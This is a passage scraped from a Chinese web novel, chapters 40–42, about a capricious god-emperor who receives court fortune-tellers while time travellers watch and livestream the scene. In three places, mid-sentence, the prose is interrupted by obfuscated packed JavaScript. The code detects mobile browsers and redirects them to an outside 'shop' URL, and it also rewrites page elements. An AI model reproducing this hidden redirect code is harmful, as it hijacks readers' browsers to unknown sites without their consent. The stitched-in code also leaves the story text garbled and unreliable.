他没有说对方的性格和能力,好像一句女人就已经总结了一切。 “女人?”这就让在场的所有人都意外了。 女人在这个纯粹的父权社会是很难得到一个比较高的地位的。 女性能够获得最高的地位就是太后。 这个世界可没有武则天,但是却一直都有太后摄政的存在。 随着一代又一代的人对太后全力的打压,现在的太后也很难得到如同曾经那般可以控制皇帝的权力了。 封建制度的完善同样也是女性地位不断滑落的故事,虽然所有人的地位都在下降,至少,男人可没有到损坏身体的程度,他们可不缠足。 在错过了那个时间段之后,他们都很难想象女性是怎么能当皇帝的。 胡增鑫说道:“昭宗是太上太皇的大公主的女儿,他是萧人的孩子。在武宗攻破萧国之后,将自己的姐姐和姑姑们带回来,她是一并被带回来的。他把之前的太子废掉,将皇位传给了她。” 王钧大脑都快要烧干了都没反应过来这是怎么个情况。 之前的太子……是谢吾德自己的孩子吧? 为啥要废掉自己的孩子去立姑姑的孩子? 姑姑的女儿和谢吾德也是有着血缘关系的,但是嫁出去的女儿泼出去的水,姑姑的孩子都不姓谢了,他为什么要把皇位传给她? 他们都不去考虑朝臣会不会反对的问题了,谢吾德做事就一定要做成,到目前为止,朝臣的意见对他来说就跟放屁一样。 “原本的太子是谁?他是做什么被废了?”王旭觉得他们可以考虑接近那个太子对他产生了影响了。 一般来说太子都不会甘心被废。 自古以来做人太子还真不一定能够稳稳的坐上皇位。 太子之位只是太子只是皇帝在某一段时间属意的继承人,他并不一定会一直适合。 但是只要做一天太子,那么就一天就占据了除了在皇帝面前之外所有人的大义。 “原本的太子失踪了,准确来说是在史书上下落不明。关于太子的记载并不多。”胡增鑫摇摇头表示自己无法给提供更多的线索,他看了看后面拿着鞭子的人还立刻给自己叠甲,“史书上就是这么记载的,史书上没记我也没有办法知道啊。” 王旭点点头,表示自己大概知道了,而且也不会去打鼓诚心的我才心松了一口气。 “不过真没想到,谢吾德那个家伙居然还会有孩子。”王旭忍不住说。 王钧和谢吾德没有什么接触,他问王旭:“为什么不太可能?” “就是一种感觉。”王旭很难给王钧形容他对谢吾德的感觉。 和谢吾德的长相无关。 谢吾德长得好看,他不说话,安静站着的时候还颇有一种优雅清冷的气质,卖相极佳,只是他就是给人一种奇妙的,和情欲扯不上多少关系的感觉。 好像默认他对爱情不感兴趣。 理论上是那种众口交赞的美男子,但是一说和他谈恋爱,每个人都会说没那种感觉。 胡增鑫心说这是先天寡王气场。 谢珖曾经也想要给谢吾德找一个皇子妃。 谢珖这个人有再多的问题,也不至于忘记这种事情。 他主要还是在这种事情上比较要脸,而且由他来安排更能够确保谢吾德不会得到来自显赫家族的支持。 谢吾德用物理的方式拒绝了。 “而且也没人知道他们的母亲是谁。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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天无二日,民无二主,国无二君,家无二尊。 这里是华夏的帝国,不是罗马帝国。 两个太子的事是完全没办法理解的。 真的立两个太子,那肉眼可见的,他们绝对不会搞什么划江而治,以华夏的尿性,早晚得再做一场。 即使是双胞胎兄弟也会在权力的诱惑下刀剑相向。 但是他一想到那是谢吾德,好像就不需要太多的答案了。 无论是谢吾德是想要看着天下沦陷还是想要看自己的手足相残,一切问题的答案都在这“谢吾德”这三个字中。 40.第 40 章 荣昭宗。 “容仪恭美曰昭”。 听上去还挺不错的,但是实际上作为谥号,“昭”是一个好字,但是作为庙号那问题就很大了,这往往用来形容都城沦陷、王朝覆灭或者祭祀体系难以维持的君主。 是其中一项还是其中三项呢? 荣昭宗是一个女人,传位给她的甚至都不是她的父亲,而是她的表哥。 至少是,无法维持祭祀体系是绝对的。 “这个荣昭宗能力怎么样?”王旭是带着几分轻松去问这个问题的。 之前被谢吾德折腾这么久,他在听到荣昭宗这个名字总觉得他们成功扳回了一局一样,有点爽到了。 就知道谢吾德瞎搞肯定会出问题。 “荣昭宗的身体也不是很好,据说之前在萧国的时候受到了折磨,所以身体有恙。因为频繁生病,武宗的恐怖渐渐消退,朝堂逐渐失控。她之后便死了。在荣昭宗死后,她的孩子被杀,皇位被夺,最后昭宗的皇帝之位也被否定,被剥夺了皇帝的名号。” 这听上去有点荒唐。 剥夺皇帝的名号? 这种事情臣子敢提,皇帝都不敢支持。 可是荣昭宗是个女人。 他们也只是因为谢吾德的淫威认了。 夺走昭宗一系皇位的人是个男人,他觉得自己不是个女人,就算真的清算也无法被清算到他的头上。 具体那个人是谁,胡增鑫已经不记得了,毕竟他只知道一个大概,他又不是专门学历史的,没办法记得太多的细节。 他只知道,在那位世宗之后又过七十年,那便是神州陆沉的那一天。 远道而来的人带着坚船利炮攻破皇城。 他们过去被武宗征服,有人视他为魔王、有人视他为神明,但是所有人都承认谢吾德的强大。 无论是窥觑谢吾德可能留下的宝藏的人还是臣服于他的强大的人,在看着那软弱的南荣皇帝的时候,大笑着用断头台砍下了皇帝的脑袋。 就像是当年谢吾德跑到法兰西,用断头台砍下了国王的头,并且将其命名为摸不着头脑的路易十六一样。 那群人把南荣末代皇帝命名为摸不着头脑的路易十七。 理由是他们不是大征服者、世界最强大的皇帝谢吾德所认定的继承者的后代。 其实真正的信徒是拒绝进攻南荣的,但是这只是个借口,一个欺辱弱小的借口,换取那些保守的信徒的支持的借口。 对于胡增鑫和后世华夏万万人来说,这是屈辱的开端。 胡增鑫回到过去,从来没想改变谢吾德,因为谢吾德是出了名的不听人话。 他想要做的只是换掉这个皇帝。 只是这在之后的悲剧他就没有说,因为他看出王旭爽到了,这种时候说这种话就像是泼冷水,他可不想被使用大记忆恢复术,再造出一段逻辑严密的故事。 . 王旭想了想,觉得陈家大概是想要去北方把那位未来的荣昭宗给杀了。 这符合他们世家惯用的手段。 虽然现在听来那个荣昭宗对他们并不能产生多少威胁。 那只是一个体弱多病的女人,本身可能没有什么太强的手腕。 让给这样的女人活着其实对他们没有什么坏处,甚至还能给未来的他们以攻击谢吾德的理由,就算她继位了,那也是反攻倒算的好机会,但她死的话,谢吾德一定会生气。 让谢吾德无能狂怒就是他们的目的。 他们的确想要对谢吾德进行一次打击,来挽回世家的颜面,让他们有足够的勇气去对抗谢吾德。 未来的荣昭宗如今应该还是一个小姑娘,他们对杀死一个小女孩并没有太多的心理负担。 陈家肯定不会明着让谢吾德知道这是他们做的,他们甚至都不需要亲自动手、亲自出面,但是世家的手段就是要让人感觉自己离了世家之后什么都做不成。 陈家在警告皇帝,不要选他们选择之外的人,不要破坏了规则,不然他们有的是让皇帝计划落空的手段。 只是…… 这种示威,总要让被示威的人知道他是因为什么被示威的吧? 谢吾德现在又不认识远在萧国的未来的荣昭宗,陈家的示威,和冲着瞎子抛媚眼有什么区别? 王旭皱眉,思考了一会,他和王钧的目光同时转向了胡增鑫。 胡增鑫:“……”他真的什么都不知道了。 胡增鑫自称是穿越的。 谁说这个世界只有一个穿越者的? 那难不成皇帝身边也有一个通晓未来的家伙? 这样,知道真相的谢吾德才会生气。 王旭觉得这个世界似乎变成了他不熟悉的样子。 他们王家的很多书籍中记载了一些关于奇人异事。 皇帝想要追求长生不老,想要寻仙求道,他们世家也是一样。 虽然他们在这些事情上做的不如皇帝那么大张旗鼓,但是自由度更高,他们有不少家中的子弟直接出家。 可是不管怎么看,这些东西好像都是镜中月水中花一样,飘渺得完全就是一个故事。 偶尔会出现一些他们所不理解的事情,但是那都不会影响整个朝局的发展。 国之将亡,必有妖孽。 谢吾德就是在和朝堂上最大的妖孽。 . 如果穿越者真的存在,那么陈家能够知道这种消息也实属正常。 谢吾德在管理方面一塌糊涂,朝廷和后宫都漏成筛子,不知道有多少王家、陈家或者是其他世家的眼线都伸到了谢吾德的身边。 不过陈家的眼线可能正在被谢吾德重用。 想到余文彦,王旭就有点暗恨。 看看陈家的眼线多么忠诚,余文彦就是个墙头草。 陈家都如此卖力了,他们王家怎么能够落后? 王旭心念一动,就有了往谢吾德身边塞人的灵感了。 南荣有不少方士。 这是因为那位被掳到萧国的皇帝,对寻仙求道十分的感兴趣。 大家都嘲笑秦始皇被卖保健品项目被人骗出了不知道多少故事,但是很多人只是在嘲笑他失败了,真换到他们身上,他们也会寻仙求道。 当然,这个世界上除了谢吾德之外,是没有神仙或者什么超自然力量的。 不过如果将人类不理解的力量定义为“神仙术”的话,那在古代,二十一世纪的技术就是“神仙术”。 但是长生不老可不是这群连工业时代都没进入的人可以企及的,真当人类有了这个技术,大概就是高呼“上帝已死”的时候。 不过即使科技高度发展,在二十一世纪也有大把的人相信神仙的存在,更何况这个蒙昧的古代? 那更是有太多的人愿意冲着自己幻想的事物顶礼膜拜了。 只要人类还有这种欲望,那冤大头就一茬一茬的,完全骗不完。 三百六十当,当当不一样,更何况有些行当只不过是换了一套说辞,又能骗到一堆冤大头双手捧着金钱送上门来给人骗。 北荣开封被破之前,这些方士就已经跑掉了。 在南荣建立之后,他们又重新聚集到了锦京。 但是谢珖对方士并没有多少兴趣,这导致方士们陷入到了漫长的失业期中。 失业对于任何一个人都不太好受,方士们往往也得养家糊口。 他们一直在期望着有新的就业风口,直到新帝登基,。 他们本身就有点蠢蠢欲动,想着如何装神弄鬼推销自己。 正好有人跟他们说,陛下颇信鬼神之说,这就让方士们来劲了。 新的冤大头似乎正在冉冉升起。 . 谢吾德看着手里的奏折,百无聊赖地翻着上面的东西。 他想到了之前看到的一个故事:朱元璋看茹太素写的东西字数太多了,看着费劲,就把人拖下去打了一 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他把这些东西往柜子里一塞,直接喂给AI,到时候AI出结果之后,可以帮他自动写上去,完全不需要他理解任何东西,每天只要出一个重要事务报告就可以了。 谢吾德只要把东西发还,然后思考吃点什么就好了。 那群人把文章写得极度复杂,完全为难不到他,反而为难他的人才是最浪费时间的那个人。 这纯属是抛媚眼给瞎子看的。 只要谢吾德看不懂,伤害性就是零。 甚至因为AI会因为输入文本的差异,这个人写得越是晦涩,那AI输出的也是晦涩的文字。 毕竟那群大臣也不敢骂,只敢暗搓搓的在那里给他找事。 朝臣在看到这些东西之后,没人会觉得这是谢吾德写的,他们怀疑他们中间出了一个叛徒,帮谢吾德去做这些。 如果真的有人帮谢吾德这么做,那这个人就是世家的叛徒了。 本来因为陈家给展示的未来的事情而产生了一些合作的世家又出现了些许裂痕。 一千年来,世家都没有出现那种背叛世家群体,直接倒向皇帝一方的人,但是以前没有,并不代表以后就没有。 叛徒很可恶,但是他们一直都存在。 这次的朝会带着一种令人诡异的严肃庄重,朝臣们一丝不苟,就连谢珖来都得愣一会,才能意识到这群严肃的家伙是自己的臣子。 坐在皇位上的谢吾德趴在桌子上,一条腿搭在了椅子上,现在这把龙椅按照他的意思增加了一个厚垫子,现在他坐着舒服多了。 朝臣个个板正着面孔,就好像看不到皇帝这放荡的姿势一样。 他们聊的大多也是十分要紧的事物,比如说某某工程建设出现了问题,某某地方天气一直不太好,恐怕有水患。 还有人提到一些学术之争,趁着周元这个之前作为朝堂上最大的法家——其实准确来说是讼棍——倒台的时机,想要彻底把法家给拉下去。 谢吾德一开始还在听,但是他是一个脾气很急的人,在听了一阵之后就开始犯困,直接开启了录音功能,让软件帮他总结,剩下的时间全都花在了看电影上。 其他人看不见谢吾德在干什么。 谢吾德还是有那么一点要脸,至少在学校生涯中,他养成了这种反应,装模作样认真不过是常规操作。 朝臣看谢吾德这副不管事的样子,并没有半点生气的意思,他们反而更加高兴了。 他们不怕皇帝不干事,就怕皇帝太努力。 尤其是谢吾德这种不靠谱的皇帝,他努力起来,说不定就要天下大乱了。 如果谢吾德不愿意好好工作的话,那么朝堂上的诸多事宜,不就可以由他们自己去解决了吗? 就在谢吾德三倍速看完一部电影之后,有人忽然站了出来,那个人大声说道:“陛下,臣有本奏。” 谢吾德眯起眼睛。 嗓门真大。 41.第 41 章 谢吾德他近视眼看不清,但是看站位似乎只是个小角色。 这样一个小角色跳出来,十有八九是有人指使。 这么远他听得那么清楚,多少也算是的铁打的嗓门了。 谢吾德都是让太监帮他喊的。 他嗓子可没那么好,提高音量多说几句话当天嗓子就报废了。 “嗯。”谢吾德微微点头。 下面的人是肯定看不见的,但是旁边的人能够清清楚楚地看见,于是太监们便威严地替谢吾德让他说。 那个人谢过了谢吾德,然后便是一顿歌功颂德。 谢吾德打了一个哈欠,自然地扒拉着还有什么电影可看。 如果是亚夏站在这里的话,他肯定会尴尬到不知道手脚放在哪里。 谢吾德被各种花样吹马屁吹多了,就算别人吹的谢吾德和谢吾德本人有极大的差别,谢吾德也不会脸红心跳的,全部都尽数收下。 没错没错,他就是这么完美。 这个世界一切美好的形容理应是给他的。 谢吾德不喜欢和人玩心眼,也不会察言观色,但是他挑中的那些人都是和谢吾德互补的。 可能这种人也很喜欢和人玩心眼,但是谢吾德一般神龙见首不见尾,喜欢安静独处,谢吾德也很难见到这群人把心眼用到他身上。 但是机会是给有准备的人的。 谢吾德懒得动脑,所以谢吾德让那两个人打了一架。 这种不明不白的瓜他吃不明白,那就用拳头决定一切。 谢吾德喜欢耳根清静一点,而且他是个喋血观众。 . 谢吾德看着那个人,身旁的太监已经知道谢吾德完全不认人,他只记事,他和谢吾德说这是兵部的一个小官。 是兵部的人。 谢吾德想了想,他知道有问题,可是世家之间的关系错综复杂,虽然兵部好像主要是琅琊王氏掌控,但是其他世家也占有很重要的地位,想要搞清楚这个人的身份可要费一番功夫。 这也很正常。 他对朝堂的了解可能还不如穿越了才几天林耀祖。 两耳不闻窗外事,一心只搞人心态的谢吾德能对这个世界有多少了解? 他离那种“我不知道我是谁,也不知道我在哪,我只知道我要大开杀戒”的玩家心态很近了。 谁说当皇帝就一定要玩经营类游戏的? 谢吾德其实更想找个借口大开杀戒。 当然,现在没借口,谢吾德先拖,等着憋个大的。 谢吾德听到这个兵部小官说道:“陛下,臣年轻时也曾有云游四海的想法,认识了一群奇人异士。臣斗胆向陛下举荐这些有才之士。不知陛下意向如何?” 谢吾德总算抬眼。 “奇人异事?” 在这种地方提到这种话,那十有八九是那些跳大神的人。 谢吾德有点轻蔑地想,也同样轻蔑地哼了一声。 这肯定是世家搞的事情,谢吾德觉得他们认为谢吾德会被这种事情骗到对他完全就是一种侮辱。 把他当什么了? 【哼。】亚夏现在也在线上。 两个人同时嗤笑出声。 谢吾德觉得除了他之外的所有存在都不配被称作神明,而亚夏是个唯物主义者,不相信人类幻想出来的故事。 虽然法网工作的原理基本可以用“幻想成真”来形容,人类和其他智慧生命也曾幻想过除了谢吾德之外的神明,但是亚夏除了干不掉谢吾德和被谢吾德强行转化为神明的温特之外,其他的神明都直接被他在诞生中被掐死在了襁褓之中。 他们一直都瞧不起神明。 温特:【在瞧不起人这种事情上达成了统一吗?】 【你也哼了。】亚夏直接道。 谢吾德对谁都话多,亚夏只对自己话多。 只要不涉及一些三观的讨论,谢吾德和自己的本体他们的观点基本一致。 有点嫌弃。 【把这群世家的人全吊路灯上肯定有冤枉,但是隔一个吊死一个肯定有冤枉的。】温特说道。 亚夏没说话。 不是不赞成,他只是觉得这话不该说,他应该保持理智,克制自己的兴奋。 想要没道德很容易,但是想要有道德,那就不太容易了,他得保持着高道德水平才能保证自己不会如同谢吾德那样放飞自我。 这个世界是亚夏和温特合作,组建了一个研究小组制造的,他们对未来不太熟悉,但是对于这个世界过去的各种设定了如指掌。 【不过想想,这可是方士诶。】谢吾德转念一想,忽然又有一点期待了。 就像是听到了“有人上当受骗不是因为不会被骗到,而是没有被针对性地骗”之后,有些人就会蠢蠢欲动,好奇那些骗子会用什么样的话术来骗自己。 谢吾德就有点来劲了:“行,让我见见他们。” 这群世家傲慢得要命,谢吾德讨厌他们,但有时候他讨厌的人也会给他带来一些乐子。 亚夏和温特不想吭声。 谢吾德存在的时间和本体亚夏一样长,但是谢吾德的一个最为顽固的属性就是永恒的神明,他是不变的。 长脑子什么的是不存在的。 不过谢吾德足够强,倒是不用担心他会出事。 在这些人能带来乐子的时候,谢吾德对他们的态度还是很好的。 余文彦看着谢吾德,感觉有点头疼。 刚刚的朝会上,他们讨论了那么多事情,他替谢吾德挡下了多少明枪暗箭,他感觉谢吾德好像完全没注意到他作出了什么努力,甚至都没抬眼看下面一眼。 就像谢吾德不知道他的名字一样。 现在别人要搞事了,他来劲了。 余文彦一直都觉得,老板这种生物只要在一旁坐着就好,重要的事情交给他们专业的人来做。 很多时候,皇帝是在帮倒忙。 最典型的例子就是邱将军。 邱将军何等忠心耿耿的人,但是他就是因为太能打了,把很多事情消耗在朝堂斗争和让皇帝安心上。 但谢吾德真的什么都不管,余文彦又开始怀念起已经被谢吾德杀死的二皇子。 二皇子活着的时候,余文彦对他还算忠诚,但对二皇子只是忠诚算不得特别有好感。 比起谢吾德,二皇子的母亲是宠妃,他自己也是皇帝相当受宠的儿子。 虽然谢珖对任何一个儿子都没有多少真心,他和自己的亲爹旧帝一样都是个刻薄寡恩的人,但至少在明面上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16715481|185294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二皇子过得最不错。 二皇子的脾气也因此是除了谢吾德之外最大的。 二皇子给过余文彦很多好处,让他能够赡养自己的母亲,但是同样的,余文彦之前也被二皇子打压过很多次,有时候明明是二皇子做错了,他还要给人赔礼道歉,这样才能分得出上下尊卑。 几次之后,余文彦的确会忠诚于二皇子,但是他除了办事之外还得再思考一下二皇子会怎么想。 他以前也不是没有这种意识,只是他也没想过那些高高在上的皇亲国戚和那些普通人一样都如此愚蠢。 那种时候,余文彦就会想,要是二皇子能在一旁什么都不做,只是给他们提供资源该多好,但真遇到了谢吾德这种什么都不做的老大,他又觉得还是二皇子好一点。 好歹二皇子还会偶尔给一点情绪价值。 谢吾德是真没把他放在眼睛里。 只能说人的欲望是永远没办法满足的。二皇子在黄泉之下也会嘲笑他迟来的忠诚不如狗。 . 在谢吾德同意之后,那些方士几乎是下一秒就出现在了殿中。 谢吾德觉得自己的脾气还没急到那种下一秒就见人的程度,朝堂的主要构成就是各种世家,他们根本不会主动讨好谢吾德,所以他们就是在示威。 皇宫不仅是上朝的地方,同样也是皇帝的家。 世家能够让人这么快就出现基本就意味着在这之前他们就安排人进皇宫了。 这一次是方士,下一次就有可能是刺客。 然而只有谢吾德发现了这件事情吗? 并不是,就算是废物如谢珖,他也有政治的敏感性,他们是不敢往下深挖。 很多时候世家就像是偷偷跑进别人房子里偷窃的小偷一样,在被屋主喊住的时候,他们的第一反应是逃跑。 然而谢珖不敢动手的理由也很简单。 因为他不知道自己的力量很大可能都无法直接处决掉世家,世家是个小偷,但是这个小偷满身腱子肉。 万一他没能让世家忌惮,那世家这个小偷就有可能恶向胆边生,直接反杀掉谢珖,甚至可能拿到废立之权。 双方之间的力量对比往往都不摆在明面上。 皇帝不知道自己的力量是否绝对能够控制世家,世家的力量也不敢保证自己会不会被皇帝狠狠坑一把。 他们双方彼此都忧心自己会在斗争中漏出属于自己的破绽。 但是在爱谢吾德面前,世家就像是蜘蛛一样,对谢吾德没有什么杀伤力,但是够恶心。 谢吾德注意到了,但是不太管这件事情。 太嫌弃的东西就丢掉。 这个皇宫对于他来说可不算是他的家,这里只是他的游乐场。 游乐场的工作人员说想要给他展示一件东西,他巴不得对方能立刻把东西拿出来,不需要他在一旁等太久。 游乐园不是私有的算是常识,而且谢吾德除了课本之外是二手的,其他的东西他都喜欢用全新的。 皇宫也是如此。 谢吾德想要建一个新的皇宫。 谢吾德不是一个常规的皇帝,也无法用任何用来形容常规皇帝的词来形容谢吾德,但是谢吾德现在的确展现出了一些封建皇帝的毛病,比如说想要大兴土木。 42.第 42 章 锦京这个名字是后来改的,对于谢吾德来说,这个城市更熟悉的名字是杭州。 这里是妥妥的南方,甚至都不是秦岭淮河以南,而是长江以南了。 谢吾德适应的是北方干燥环境。 锦京冬天也不下雪,没有下雪的冬天还算是冬天吗? 如果不是温特在冬天的时候把谢吾德拉到别的世界去玩雪,谢吾德都考虑在湖心亭堂堂复刻“湖心亭看雪”。 至于强行让锦京下雪会死多少人? 只要谢吾德自己乐意,他不介意死人的。 他当年学湖心亭看雪的时候可没想过这些问题,他现在也不会思考这种事情的。 没有下雪的冬天,就像是珍珠奶茶里面没有珍珠一样,总感觉少了点什么。 迁都,一定要迁都。 谢吾德不愿意处理这事也是打算等着把新都城建好,到那个时候,他们过去在宫中安插的那些钉子,一瞬间就会化为乌有。 方士们很紧张,他们不太确定自己能不能拿捏住谢吾德的性格。 他们清楚自己有可能是被人当枪使了,但他们干这一行的就要有这方面的觉悟。 正常人谁会向皇帝献方士的。 他们单独面见谢吾德的时候,谢吾德已经散朝了,他留下的几个人都是之前比较熟悉的,比如“那谁、那谁、那谁和那谁”。 余文彦绝望地意识到,谢吾德恐怕是真的没有记住他的名字。 “那谁,那谁,那谁和那谁”分别是余文彦、李真、林耀祖和尔雅。 谢吾德目前为止只记住了林耀祖和尔雅的名字。 不是他重女轻男,而是林耀祖和尔雅这两个人的名字都十分有特色,而且余文彦问过他们两个的名字。 李真平平无奇,余文彦好像都没说他的名字。 谢吾德觉得叫错名字很让人尴尬,既然记不住,那就不记了,又不是必须喊名字对方才能够明白喊的是自己。 方士们紧张地看着谢吾德。 作为他们未来的服务对象,他们自然要了解谢吾德,但了解来了解去,这都不是一个让人很能够安心的皇帝。 “你们就是方士?”谢吾德坐在桌子上,他翘着腿,双手撑在桌面上,然后他发现这个姿势不太方便他保持平衡,才把腿放了下来,他也也没有安分,而是晃着自己的腿。 这群方士都是一等一的善于揣摩别人心意的人。 他们能够被举荐过来都是骗术界的大师,别人一句话的语气就能让他们琢磨出很多东西。 谢吾德的心思实在是太好猜了, 他一句话就让这群方士猜到了这个人根本就没把他们放在眼睛里。 那群世家说的陛下喜好玄修不过是他们的一面之词,至少谢吾德喜欢的方式完全不常规。 林耀祖的直播弹幕已经爆炸了。 林耀祖也稍稍调整了一下自己的位置,调整出一个最佳方位。 她还想着攒攒积分,换个双机位。 这个系统还很贴心,点击、打赏甚至是因为视频延伸出来的各种论文也可以转化成她的积分,这些积分可以换各种东西来提升直播效果…… 虽然这有让驴子自己干活买拉的磨的嫌疑,但是这些积分最后都可以换金子,只要浏览器找一下金价,拿根树枝在地上划拉一下就知道这绝对比普通的工作划算,甚至还可以交五险一金。 她后来好好地翻了一下系统协议,发现她甚至可以回去,只不过会挑新人来取代她。 林耀祖觉得她要是放弃才是真傻了。 这是独一份的。 那些来看直播的人都很兴奋,他们想要知道谢吾德在史书中种种神奇的能力是不是真的。 正如同胡增鑫之前在脑子里悄悄逼逼的那样,谢吾德是有信徒的。 只不过在未来的这个国家禁止在公开场合传教,而且因为谢吾德搞出的这一堆烂摊子,让许多人都有了心理阴影。 虽然没人敢直接把和谢吾德相关的信仰打成邪神,但是的确算是创伤级别的历史事件,这就导致反而这个信仰诞生的地方,反而是那个时代里最不信仰谢吾德的国家了。 但是传统是会传递下去的,因此许多人在知道了林耀祖这个直播之后,就跑过来想要亲眼见证一下自己神明的神迹了。 只不过他们那些过分虔诚的弹幕是会被系统自动屏蔽掉。 每一个人都十分期待接下来会发生的事情,接连不断的打赏几乎占据了绝大多数人的屏幕。 林耀祖也不感谢打赏,不是作为全网唯一无代餐穿越主播,而是因为边上有人看着,随便开口是会被当成疯子的。 她是穿越到历史中,不是穿越到游戏中,其他人都在看着呢。 她只是希望自己能在谢吾德面前刷刷存在感,而不是刷爆存在感。 . 首先出场的是胆子最大的方士,他的手一滑,便从袖子里掏出了一张符纸。 他往前用力一挥,符纸便瞬间点燃。 这一手就让留下来的人瞪大了眼睛。 即使是林耀祖知道这上面肯定是老套地抹了白磷的人也忍不住为这视觉体验赞叹一声。 白磷的燃点虽然只有四十度,但是燃烧起来外焰温度可有八百度,敢这么做的人完全就是艺高人胆大。 这还没完,这方士深吸了一口气,脸颊一鼓,竟吐出一道火龙来。 除了谢吾德和林耀祖之外,其他人都被吓了一大跳,就连余文彦也被惊得后退半步,余文彦离得太近了,很难不被吓到。 方士表演完没有着急动作,而是整理了自己的衣服之后才躬身行礼:“陛下,此乃控火之术。” 谢吾德想了想指着那个方士的衣袖,淡淡说道:“你的衣服着火了。” 方士立刻低下头,就在他的目光顺着谢吾德的手指落在他的衣角的那一瞬间,火焰燃烧了起来。 林耀祖的瞳孔放大。 她确定自己刚刚看清了。 直播比她的肉眼还要清楚。 在短暂的沉默之后,弹幕爆发了。 【你们刚才都看到了吧?】 【就是突然烧起来的吧?】 【我就说是真的。】 【肯定定时装置。】 【承认现实有那么难吗?】 【整天说我们迷信,但是你们自己不也是迷信科学。】 【就是因为你们这样信仰不坚定的人才……】 【乐,怎么话不说完,是怕被禁言了吗?谢吾德怎么不帮你解除禁言。】 弹幕吵成一片,公说公有理婆说婆有理,如果他们是线下,那大概会演化为严重的群体性斗殴时间。 但不管怎么说,谢吾德都不会为他们答疑解惑,最后基本上还是谁都说服不了谁,只有寥寥几个人改变了自己最开始的想法。 在网上吵架人往往只是想要辩倒对方,拿出的证据也都是偏向于自己的。 林耀祖看得头都大了。 她是心态随和的吃瓜党。 这话可不能在直播里说,每次有人要她站队她都是装聋作哑。 接下来还有纸张上出现人影的戏法,据说能召来逝者,让逝者的人来到纸上,与生者再见一面。 谢吾德看了一眼,估摸着又是物理变化化学反应那一套。 作为神明,他反而不信神神鬼鬼的那一套,因为真要有异常,那都是会有法术波动的,他作为亚夏最非人、最接近法网的一面,但凡真的有一点超自然现象,那都会引起他的注意。 敏感度拉满 这个人还真有点本事,他发出了哀戚的声音,对谢吾德说道:“吾德我儿……” 谢吾德垂眸看着这个人。 这个人的脸上毫无尴尬。 这个人不尴尬,他都要尴尬了。 很好,装他妈是吧? 谢吾德拿起边上的笔筒直接把人爆头,那人向后倒去,生死不知。 这个世界设定上的他妈的确是死掉了,但是这个人并没有在这个世界上存在过。 他亲妈十万多年前就去世了。 也就是站在这里的是谢吾德,谢吾德作为神明,亲情的概念在他的脑子里已经淡了许多,要是亚夏在这里,他大概就会绷不住他那冷静自持的脸,直接冲过去给人左右开弓。 别刺激一个从某种程度上来说因为时间被迫灭门的人。 只是亚夏不在现场,但是他依然情绪有点激烈。 他没说话。 谢吾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16732181|185294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 德了解自己,亚夏没说话不是因为镇静,大概率是被气得说不出话来。 温特也没说话,原因同上。 他们气极了大概率会僵住的。 能做出反应的谢吾德就是没有多少情绪。 其他的方士猛地一个哆嗦,这才明白谢吾德喜怒无常这句话的含金量。 之前还有点兴奋,现在脸瞬间就垮了下来。 【你帮我给他来……哦,你打了啊。】亚夏看到那方士现在的样子,一下子就平静了许多,声音从激动变回了极度的平静。 谢吾德觉得这方士也算是踩雷的人才了,一下子得罪三个自己的难度可不小。 谢吾德打了一个哈欠。 他一句话没说,但是所有人都知道,物理化学组,淘汰。 紧接着上场的,是忽悠组一个自称活了两千岁的人。 “贫道出生在殷商时期,曾亲眼目睹武王伐纣,如今已经有两千余岁了。”这个看上去像是个中年人的家伙这么对谢吾德说道,“频道如今大限将至,但是也希望其中诀窍能为陛下分忧一二。” 谢吾德的目光落在了他的身上,眼神微微一凝,这他是真有点羡慕。 说这句话的方士就知道这一个会奏效。 只要是个皇帝果然就无法抗拒长生不老,这种富贵的日子有谁不想长长久久地享受下去呢? 他不知道的是,谢吾德羡慕的不是这个。 亚夏说道:【如果人能只活两千岁就死,那该有多好。】 温特说道:【是啊,是啊。】 他们的语气满满都是羡慕。 区区两千年的寿命,真是太美好了。 他们是目前的人类寿命记录,并且不断刷新这份记录中。 两千岁,对于他们来说虽然不是弹指一挥间,但是也算是逐渐习惯了。 今年他们已经十万余岁了——十万余多少也不清楚,反正不管现在多大,他们是能活到宇宙终结的,那单位是亿年。 太难顶了。 谢吾德是永恒的神明——各种意义上的永恒,但是他想到之后的日子都觉得有点难受。 谢吾德知道这群人是在扯淡,但还是忍不住说道:“你能只活两千岁,是有什么秘籍吗?” 这个方士觉得有点奇怪,觉得谢吾德的用词有点奇怪。 什么叫“只活两千岁”? 能活到两千岁,绝对是一件十分了不起的事情啊! 他隐隐地觉得自己好像有点被鄙视了。 方士瞬间觉得很挫败。 谢吾德真正的身体十万多岁,并且持续刷新着人类寿命的极限,但他不是特例,因为排名第二的人类只比他小四十岁。 只要将自己“升格”,想要活多久就能活多久,最大的问题大概在于人能不能够坚持活这么久。 活到最后,想不想活才是最大的问题了。 谢吾德自称是永恒的,但他也是打心底觉得,活得稍微短一点也是一个不错的选择。 方士不知道为什么,忽然感觉到一种被凡尔赛到了的感觉。 他当然没有活两千岁,自称两千岁的人他现在也不过四十岁。 只不过他见多识广,记忆力又出众,如果单论学识和见识的话,他可能和那些朝中的大臣都不相上下。 